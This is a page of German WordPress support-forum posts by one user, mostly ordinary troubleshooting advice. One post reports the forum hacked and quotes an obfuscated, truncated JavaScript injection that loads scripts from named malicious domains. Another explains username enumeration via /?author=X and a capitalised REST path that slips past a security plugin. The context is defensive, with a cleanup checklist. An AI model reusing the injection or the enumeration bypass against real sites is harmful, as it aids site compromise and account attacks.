Beiträge von b3317133

Zitat von Tiolox

Bin für jede Hilfe Dankbar.

Suchbegriff bei einer Suchmaschine Deiner Wahl: WordPress Umzug

Es gibt Plugins, die sich um alles kümmern, z.B. Duplicator.

Zitat von Collector

Das funktioniert.

Das funktionierte vorhin nicht. Zum Logfile siehe Thread zu Deinem andern Website, genau die gleiche Meldung, genau die gleiche Lösung.

Zitat von rentalight

Ein Hacker?

Möglicherweise. Hast Du noch eine Kopie der "nicht funktionierenden" [FONT=courier new]wp-config.php[/FONT] Datei? Falls ja, steht dort in der ersten Zeile mit dem [FONT=courier new]<?php[/FONT] (ggf. ganz weit nach rechts scrollen) Code?

Zitat von Collector

Was habe ich falsch gemacht oder wo muss ich nachsehen was falsch gelaufen ist?

CSS und Bilder sind nicht da. Schau auf dem FTP-Server nach.

Zitat von Collector

Ich habe Wordpress in dem Unterordner info_site gestellt und in das root Verzeichnis die wp-config und das index File gestellt. Das funktioniert auch.

Das funktioniert offenbar nicht. Richte es "normal" ein, oder passe .htaccess entspr. an.

Und schon wieder ist das Forum gehackt.

Bösartiger Code am Ende der Datei forum.wpde.org/clientscript/vbulletin_read_marker.js?v=425 lädt scripts von http://oei1.gq/ bzw. htp://mfio.cf/ bzw. https://go.onclasrv.com/ bzw. https://deloton.com/ bzw. https://go.mobtrks.com/ nach und leitet auf Trojaner-Seiten weiter.

Zitat

var _0x3763=["\x3C\x73\x63\x72\x69\x70\x74\ ... x74\x65"];var _0x9473=[_0x3763[0],_0x3763[1]];var _0x6095=[_0x9473[0],_0x9473[1]];var _0xd944=[_0x6095[0],_0x6095[1]];var _0x76bb=[_0xd944[0],_0xd944[1]];var _0x38cf=[_0x76bb[0],_0x76bb[1]];var _0xc93a=[_0x38cf[0],_0x38cf[1]];document[_0xc93a[1]](_0xc93a[0])

Offenbar gibt es derzeit also keinerlei Interesse, das Forum sicherer zu machen. :sad:

Zitat von lpanitzs

Lt. Wordpress ist der Visual Composer auf dem neusten Stand.

Lt. changes.txt auf Deinem Server nicht. Falls das Plugin mit dem Theme geliefert wurde, wende Dich am besten an den Hersteller/Verkäufer des Themes.

Wahrscheinlich wird die CSS-Datei über die Datei header.php oder functions.php des Themes eingebunden, mehr könnte man ggf. dazu sagen, wenn Du einen Link zur Seite und/oder den genauen Theme-Namen/Hersteller mitteilst.

Zitat von Marcuss

.. da kann dann (glaube ich) auch mal ein Feld leer bleiben, ohne das sich die ganze Ansicht verschiebt.

Mit entspr. korrekten Daten in einem Auswahlfeld verschiebt sich auch nichts. Poste doch mal die Daten, bei denen das bei Dir passiert und die, bei denen das nicht passiert.

Fehlende Kompatibilität in Windows Vista für neuere SSL Chiphers hat maximal mit der Updatepolitik von Microsoft zu tun, nicht etwa mit Browserherstellern wie Mozilla oder Google, da schimpft man auf die falschen...

Und mit WordPress hat es gar nichts zu tun.

Das ist keine WordPress Seite.

Zitat von Azrael_0815

Kann man. Installier Dir XAMMP o.ä., damit geht das prima.

Das gilt aber nur für diesen Teil..

Zitat von tom_010101

kann man Wordpress eigentlich auch ohne Internet nutzen? Also Lokal?

..und nicht für die eigentliche Frage.

Lt. wp-content/plugins/js_composer/changes.txt wird eine veraltete Version 5.1.1 des Plugins Visual Composers (neuer Name WPBakery) verwendet, neuere Versionen haben Fixes für WordPress 4.9.x, evtl. ist das das Problem. Falls das Plugin mit dem Theme geliefert wurde, wende Dich am besten an den Hersteller/Verkäufer des Themes.

PS. Der Impressum-Link unten funktioniert nicht.

Mit Wordfence (anstelle von iThemes Security, nicht gleichzeitig installieren!) lässt sich beides abstellen, Wordfence lässt sich nicht durch Grossbuchstaben austricksen.

Zitat von MarkusxX

Welche maßnahmen kann ich dann ergreiffen ...

Gehackte Dateien analysieren, über Server-Logs feststellen, wann/woher diese Dateien kamen, Lücke identifizieren, Lücke schliessen. Alle Systemdateien von WordPress ersetzen, dafür wp-admin/ und wp-includes/ komplett löschen. Alle Plugins durch saubere Versionen ersetzen, dafür alle Ordner in wp-content/plugins/ löschen, gleichesn gilt für die Themes. Alle PHP-Dateien in wp-content/uploads/ suchen/löschen. Alle Passwörter ändern, FTP, MySQL, WordPress Accounts, usw.

Alle Benutzernamen lassen sich per [FONT=courier new]/?author=X[/FONT] also z.B. [FONT=courier new]/?author=2[/FONT] und [FONT=courier new]/?author=3[/FONT] usw. ermitteln.

Der Benutzername des Redakteurs (bzw. der aller Benutzer, die etwas gepostet haben) lässt sich mit [FONT=courier new]/wp-json/wp/v2/Users[/FONT] (mit grossem U, um das "Sicherheits" Plugin auszutricksen) ermitteln.

Beide Methoden sind bereits im Thread angesprochen worden.

[size=10]Gelöscht, Vorschlag war unpassend für WPBakery...[/SIZE]

Dafür gibt es Plugins, wie z.B. If Menu, Conditional Menu, usw.

Zitat von bauli

wo ist dieser Pfad "wp-json/wp/v2/users" überhaupt

Der wird von WordPress bereitgestellt, mehr dazu in der REST API Dokumentation.

Poste doch mal einen Link zur Seite.

Das bedeutet, dass höchstwahrscheinlich die Datei [FONT=courier new]wp-config.php[/FONT] fehlerhaft ist, z.B. am Anfang oder am Ende werden Leerzeichen o.ä. ausgegeben, manchmal deutet das auch auf einen "unsauberen" Hack hin.

Würde nach kurzem Blick in die Dokumentation von WPGlobus sowas in der Art verwenden, ungetestet:

if ( WPGlobus::Config()->language == 'en' ) {
    ...
} else if ...